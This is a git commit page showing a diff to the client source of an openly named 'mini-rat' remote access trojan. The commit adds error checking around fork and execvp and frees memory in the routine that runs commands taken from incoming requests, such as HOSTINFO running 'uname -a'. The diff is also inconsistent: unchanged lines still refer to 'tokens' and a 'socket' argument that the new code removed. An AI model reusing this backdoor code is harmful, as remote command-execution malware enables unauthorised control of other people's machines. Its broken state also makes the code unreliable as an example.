diff options
author | Danny Holman <dholman@gymli.org> | 2023-09-13 11:25:47 -0500 |
---|---|---|
committer | Danny Holman <dholman@gymli.org> | 2023-09-13 11:25:47 -0500 |
commit | 75b24537215de0cbef21d68334129bad82a921b9 (patch) | |
tree | 6f0a48ec67d3a7444a5f1b71cc02eb657fec6105 | |
parent | c5422c79e62f8a1417b60a3f22127396628efd10 (diff) |
client: add error checking to system calls
Add error checking to execve and add cleanup calls so that no memory is
leaked.
Signed-off-by: Danny Holman <dholman@gymli.org>
-rw-r--r-- | client/src/mini-rat.c | 23 |
1 files changed, 19 insertions, 4 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c index 53b91a5..9ceaa88 100644 --- a/client/src/mini-rat.c +++ b/client/src/mini-rat.c @@ -43,17 +43,31 @@ void run_exec(char **argv) { const char** cargv = (const char**)argv; pid_t pid = fork(); if (pid == 0) { - execvp(argv[0], argv); + if (execvp(cargv[0], cargv) == -1) { + printf("ERROR IN EXEC\r\n"); + fflush(stdout); + } exit(0); } else if (pid > 0) { wait(NULL); } else { - send(socket, "ERROR EXECUTING COMMAND", 23, 0); + printf("ERROR IN FORK\r\n"); + fflush(stdout); } } -int handle_request(int socket, char *req) { - char **tokens = str_split(req, "\r\n"); +void hostinfo(void) { + char **argv = malloc(sizeof(char*) * 3); + argv[0] = "uname"; + argv[1] = "-a"; + argv[2] = NULL; + run_exec(argv); + free(argv); +} + +int handle_request(char *req) { + char **argv = NULL; + size_t count = str_split(&argv, req, " "); if (strcmp(tokens[0], "HOSTINFO") == 0) { hostinfo(socket); @@ -63,6 +77,7 @@ int handle_request(int socket, char *req) { } else if (strncmp(tokens[0], "EXIT", 4) == 0) { return 1; } + free(argv); return 0; } |